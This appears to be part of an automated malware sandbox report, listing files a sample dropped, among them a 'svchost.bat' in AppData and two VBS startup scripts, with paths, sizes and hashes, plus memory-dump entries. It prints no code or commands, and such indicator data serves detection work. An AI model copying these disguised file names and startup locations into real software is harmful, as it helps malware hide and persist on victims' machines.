SHA512 71a1908e1625c9ef28c5a85ca21dfdadcebfc4ae41b21ba2d11a92e1192a49a819adde6fb30fb9f2e8f4199a264c56e86f9d21a67704f7b25b8dbdd9c43b07d9
SSDEEP 1536:Ys+uHxSJoI570XTnQeIgbLT8FwZKKy74kKH5X5SdSrtDAv9W34S9iW:OuHIV570jQcX7y7VKZTrtEv9CZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

svchost.bat

Path C:\Users\Admin\AppData\Local\svchost.bat
Size 304KB
SHA256 52974d82b405f9ebba25b6de26cbf2c59f4ec9e4d6c7059661f9f2f02e29d03e
MD5 74f5686e51d07dab9f43f62081f83003
SHA1 8d6b22e17db345f43ec3db13748c162d3cd1b229
SHA512 5865a681a5e9b3464351a4d9e5bf18dccf3ed43f288c388decfa8559e496c67a563acadd8b7563e4004fe320298b47842a5a672552f14a95772460f54f782384
SSDEEP 6144:Q64gd0YCixGI6IF7Ksvm55cfRVqUVwzIBZkCdAM8YijxiM:Q64gaYHUItKsvtfbqUVPBRMXsM
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_771.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_771.vbs
Size 124B
SHA256 e08bca78ce6a0328a828eb9f2d4baa1cc93de8add01d713cee3fc5c7508b8742
MD5 36c9de8e58815a39ee8b838c26ee7bdb
SHA1 0cb2f316f7d7ca89e9458a247da5321d03db0470
SHA512 f7bca9e345caa0b5ff7bedf2144fe4e4528d038c6890f945b74b8feecb1756ee4cd35c26d4722daa8ebed2f90b700e0a7fa074577532952cea3c0d5196ad90b9
MD5 SHA1 SHA512

Submit Download

$svchost_414.vbs

Path C:\Users\Admin\AppData\Roaming\$svchost_414.vbs
Size 112B
SHA256 f1e0ae1c81966193325c3bea257ca911d31d18bf7a683f82cd82060051ae6144
MD5 5028df4a6d6bdd4d29b000f244612f85
SHA1 07f56009578ee1e7429e65e1b9d221918a11df9b
SHA512 b347944f48ee9d8ef59a67041499db324c0e16b13f49df42a877eacc2e923c27e35e89dd0549d2429e5fac6efbe7bb8d512b8d1ed90f073e205afb04df0eae89
MD5 SHA1 SHA512

Submit Download

CSC637DEB5C91504F0FAD599A4849E58B7.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zswlf55w\CSC637DEB5C91504F0FAD599A4849E58B7.TMP
Size 652B
SHA256 a06d66307785abb2c1afedd44892db5213aababbbc840e7c556d6b679d5be244
MD5 ca5b0cecd51ab191e5de03a66fff2ad4
SHA1 07cdb83afb64d5038c9cc7a0210d5cef8b5da2af
SHA512 656729ede27f323510ef733750f10713bb74c87520bac3958550bae3100954383f4cc2f37f7b10aff8e11553cc2b1412f188a3cf197a2ca3601587e7fc177b67
MD5 SHA1 SHA512

Submit Download

zswlf55w.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zswlf55w\zswlf55w.0.cs
Size 737B
SHA256 415199eec01052503978381a4f88f4cd970b441fedce519905990ed8b629b0f1
MD5 3d57f8f44297464baafa6aeecd3bf4bc
SHA1 f370b4b9f8dba01fbcad979bd663d341f358a509
SHA512 4052dd65ca0a505a36c7c344671afcadb8f82cc24b0d1d8362f61565f9d37782e00332908444f6a95286dd1785d074762b27c20be1f361eec67807fad052d798
MD5 SHA1 SHA512

Submit Download

zswlf55w.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zswlf55w\zswlf55w.cmdline
Size 369B
SHA256 20580e9ac45e843b766e0258d54bd9f72790d28051ba16e5aa3d1920706b83a1
MD5 3e393dbea6899f43a439b7d315d2e478
SHA1 5cbeb8b86888134be2d64d743194be02bd6be565
SHA512 dbab3dd5f522a4b596723ac7965d7a3476806d4e3ceff2d37d2db84b61b1f31fa4dd1c7f206288ae7f7fd2bd18de36d54d88b35cbea2107801f01caeebc4bd56
MD5 SHA1 SHA512

Submit Download

memory/464-171-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/480-84-0x000002122C280000-0x000002122C2B6000-memory.dmp

Download

memory/480-83-0x000002122BFF0000-0x000002122BFF8000-memory.dmp

Download

memory/988-169-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1072-170-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1116-42-0x00000250752A0000-0x00000250752E6000-memory.dmp

Download

memory/1116-45-0x00000250753C0000-0x0000025075490000-memory.dmp

Download

memory/1116-44-0x00000250752F0000-0x00000250753C2000-memory.dmp

Download

memory/1116-43-0x0000025075020000-0x0000025075028000-memory.dmp

Download

memory/1156-166-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1228-174-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1332-162-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1512-221-0x000002A1210A0000-0x000002A1210DC000-memory.dmp

Download

memory/1512-220-0x000002A108A20000-0x000002A108A28000-memory.dmp

Download

memory/1592-167-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1616-163-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/1640-173-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/2016-172-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/2116-164-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/2180-73-0x0000029C8D170000-0x0000029C8E170000-memory.dmp

Download

memory/2180-71-0x0000029CA57B0000-0x0000029CA57B8000-memory.dmp

Download

memory/2180-72-0x0000029CA57C0000-0x0000029CA57D2000-memory.dmp

Download

memory/2552-168-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/3208-112-0x0000000002FF0000-0x000000000301A000-memory.dmp

Download

memory/3208-160-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/3536-161-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/3988-208-0x0000027EBF870000-0x0000027EBF87E000-memory.dmp

Download

memory/4504-165-0x00007FFF957F0000-0x00007FFF95800000-memory.dmp

Download

memory/5056-28-0x000001AB634E0000-0x000001AB634E8000-memory.dmp

Download

memory/5056-18-0x00007FFFB4900000-0x00007FFFB53C2000-memory.dmp

Download

memory/5056-33-0x00007FFFB4900000-0x00007FFFB53C2000-memory.dmp

Download

memory/5056-14-0x00007FFFB4900000-0x00007FFFB53C2000-memory.dmp

Download

memory/5056-13-0x00007FFFB4900000-0x00007FFFB53C2000-memory.dmp

Download

memory/5056-4-0x000001AB63390000-0x000001AB633B2000-memory.dmp

Download

memory/5056-3-0x00007FFFB4903000-0x00007FFFB4905000-memory.dmp

Download